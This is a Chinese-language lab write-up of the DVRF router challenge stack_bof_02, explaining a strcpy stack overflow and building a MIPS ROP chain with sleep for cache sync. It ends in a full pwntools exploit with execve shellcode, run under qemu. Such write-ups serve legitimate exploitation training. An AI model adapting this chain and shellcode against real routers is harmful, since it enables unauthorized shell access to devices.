0%

DVRF题目之MIPS栈溢出中ROP链的构造

本文对DVRF路由器漏洞靶机中的一道题目(stack_bof_02)进行了复现,详细记录了复现过程中如何利用gadget片段来构造ROP链进行攻击。

逆向分析

直接看main函数:

image-20250529133717913

漏洞点在第14行,strcpy函数会把命令行参数argv[1]复制到v4中,造成栈溢出且argv[1]可控。程序中并没有给出后门函数,只能执行shellcode来攻击。

ROP构造

调用sleep函数

通常将shellcode写到某个区域时,这块区域是作为数据缓存区来存放的,在执行shellcode的时候该区域又必须是指令缓存区,但是在MIPS架构中指令缓存区和数据缓存区的同步是需要一个时间的,也就是说在我们写入shellcode后不能立即将其执行,需要一个sleep来等待缓存区同步。

因为要先设置$a0为1作为sleep函数的参数,故可以找到如下gadget1

image-20250528003123823

可知这段代码最后会跳转到$s1中的地址,因此还需要一个gadget2,使在执行gadget1前可以控制$s1为下一个跳转地址。

利用mipsrop.find("lw $s1,")可以找到如下gadget2

image-20250528005120082

先执行gadget2,设置$ra为gadget1的地址、设置$s1为目标地址,然后跳转执行gadget1,设置$a0为1,最后跳转到$s1中的地址。因为jalr指令在跳转前还会将PC8作为返回地址存入$ra寄存器,这样我们在执行完sleep后就不能继续控制程序流了,所以不能将$s1设置为sleep_addr来通过jalr跳转。

还需要一个gadget3来,要求是可以通过jr跳转到sleep函数,并且可以控制$ra寄存器(执行完sleep会执行jr $ra返回)。

利用mipsrop.tails()可以找到如下gadget3

image-20250528003524356

现在先执行gadget2,设置$ra为gadget1的地址、$s1为gadget3的地址、$s2sleep_addr;然后jr $ra跳转执行gadget1,设置$a0为1;然后jalr $t9($s1)跳转执行gadget3,设置$ra为目标地址(目前未知用0xdeadbeef替代)作为sleep函数的返回地址;然后jr $t9(s2)跳转执行sleep函数,执行完后便能返回到目标地址。

构造的payload如下:

libc = 0x7f6ea420-0x17420
sleep = libc+0x2f2b0
gadget2 = libc+0x7730
# lw $ra,0x18+var_s10($sp)
# lw $s2,0x18+var_s8($sp)
# lw $s1,0x18+var_s4($sp)
# jr $ra
gadget3 = libc+0x20f1c
# move $t9,$s2
# lw $ra,0x18+var_sC($sp)
# jr $t9
gadget1 = libc+0x2fb10
# li $a0,1
# move $t9,$s1
# jalr $t9
payload = b'a'*0x1fc+p32(gadget2)
payload+= b'b'*(0x28-12)+p32(gadget3)+p32(sleep)+b'sss3'+p32(gadget1)
# $s1 $s2 $s3 $ra
payload+= b'c'*(0x2c-16)+b'sss0'+b'sss1'+b'sss2'+p32(0xdeadbeef)
# $s0 $ra

调用shellcode

接下来就是要执行shellcode了,因为shellcode会被布置到栈上,所以我们需要一个可以把栈地址写到寄存器里的gadget4,利用mipsrop.stackfinders()进行搜索,可以找到如下gadget4

image-20250529003539837

在执行gadget3时将$ra设置为gadget4的地址,执行完sleep函数便能返回执行gadget4,gadget4会把$sp+0x38+var_20处的地址存储到$a0中,因此需要把shellcode写到$sp+0x38+var_20处,接着jalr跳转到$s0中的地址,因此在执行gadget3的时候还需要把$s0设置为下一个目标地址。

最后还需要一个gadget5用来跳转到$a0中的地址,直接mipsrop.find("move $t9,$a0")搜索即可:

image-20250529003933377

这段gadget还会执行一个sw$v0的值写到栈上0x30+var_18($sp)处,调试的过程中发现这里正好是存储shellcode的首地址,因此在布置shellcode时多填充一个内存单元即可。

编写shellcode时还需要注意由于溢出函数是strcpy函数会有00截断,所以shellcode的机器码中不能含有\x00

exp

exp如下:

from pwn import *
context(arch='mips',os='linux',endian='little',word_size=32,log_level='debug')
shellcode=asm('''
li $t0,0x6e69622f
li $t1,0x68732f2f
sw $t0,-0x10($sp)
sw $t1,-0xc($sp)
sw $a2,-0x8($sp)
la $a0,-0x10($sp)
slti $a1,$zero,-1
slti $a2,$zero,-1
addi $v0,$zero,4011
syscall 0x10101
''')
libc = 0x7f6ea420-0x17420
sleep = libc+0x2f2b0
gadget2 = libc+0x7730
# lw $ra,0x18+var_s10($sp)
# lw $s2,0x18+var_s8($sp)
# lw $s1,0x18+var_s4($sp)
# jr $ra
gadget3 = libc+0x20f1c
# move $t9,$s2addiu $sp,$sp,-0x10
# lw $ra,0x18+var_sC($sp)
# jr $t9
gadget1 = libc+0x2fb10
# li $a0,1
# move $t9,$s1
# jalr $t9
gadget4 = libc+0x16dd0
gadget5 = libc+0x214a0
payload = b'a'*0x1fc+p32(gadget2)
payload+= b'b'*(0x28-12)+p32(gadget3)+p32(sleep)+b'sss3'+p32(gadget1)
# $s1 $s2 $s3 $ra
payload+= b'c'*(0x2c-16)+p32(gadget5)+b'sss1'+b'sss2'+p32(gadget4)
# $s0 $s1,$s2 $ra
payload+= b'd'*(0x18+4)+shellcode
# p = process(["qemu-mipsel","./stack_bof_02",payload])
p = process(["qemu-mipsel","-g","1234","./stack_bof_02",payload])
p.interactive()
#0x0040091C

攻击效果如下:

QQ_1748496852704

参考文章

路由器漏洞挖掘之栈溢出入门(三)ROP链的构造

DVRF 路由器漏洞靶机题目笔记

MIPS栈溢出漏洞实战解析:从DVRF题目看ROP链构造